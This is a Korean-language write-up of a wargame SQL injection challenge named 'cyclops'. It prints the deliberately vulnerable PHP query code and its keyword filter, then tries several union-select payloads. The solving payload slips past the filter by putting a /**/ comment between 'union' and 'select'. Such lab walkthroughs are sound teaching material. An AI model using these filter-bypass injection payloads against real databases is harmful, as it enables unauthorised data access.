문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
  highlight_file(__FILE__);
?>

공격 백터

  • id
  • pw

공격 백터에 대한 검증

  • id : prob, _, ., ()
  • pw : prob, _, ., ()

코드 분석

$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select

필터링을 거친 공격 백터 id와 pw가 id='공격 백터 id' and pw='공격 백터 pw'에 들어간다.
해당 쿼리문은 id='공격 백터 id' and pw='공격 백터 pw'인 테이블에 저장된 id와 pw을 반환 한다.

 

하지만 조건문 옆 주석으로 적힌 must use union select이라는 문구를 보니, 테이블 안엔 데이터가 없고 union을 이용하여 id가 first, pw가 second으로 빈한되도록 하는 것이 이번 문제의 핵심인 듯하다.


문제 풀이

일단 전 문제에서 사용한 쿼리는 사용이 가능했다.

 

은근 슬적 or을 and로 바꾸고 union을 넣어봤는데 걸리지 않았다.

 

?id='<@=1 and {a 1}=1 union select#

select을 추가하니 바로 걸렸다….

 

?id='<@=1 and {a 1}=1 union%0a select#

%0a을 넣어서 줄바꿈을 해봤지만, 이 역시 걸렸다…

 

?id='<@=1 and {a 1}=1 union/**/ select#

union과 select 사이에 주석처리인 /**/을 넣었는데, 인식을 못하는 듯하다.

 

?id='<@=1 and {a 1}=1 union/**/ select 'first', 'second'#

아주 쉽게 문제를 해결하였다.


오늘 푼 문제로 랭킹 150등에 등급했다.

복사했습니다!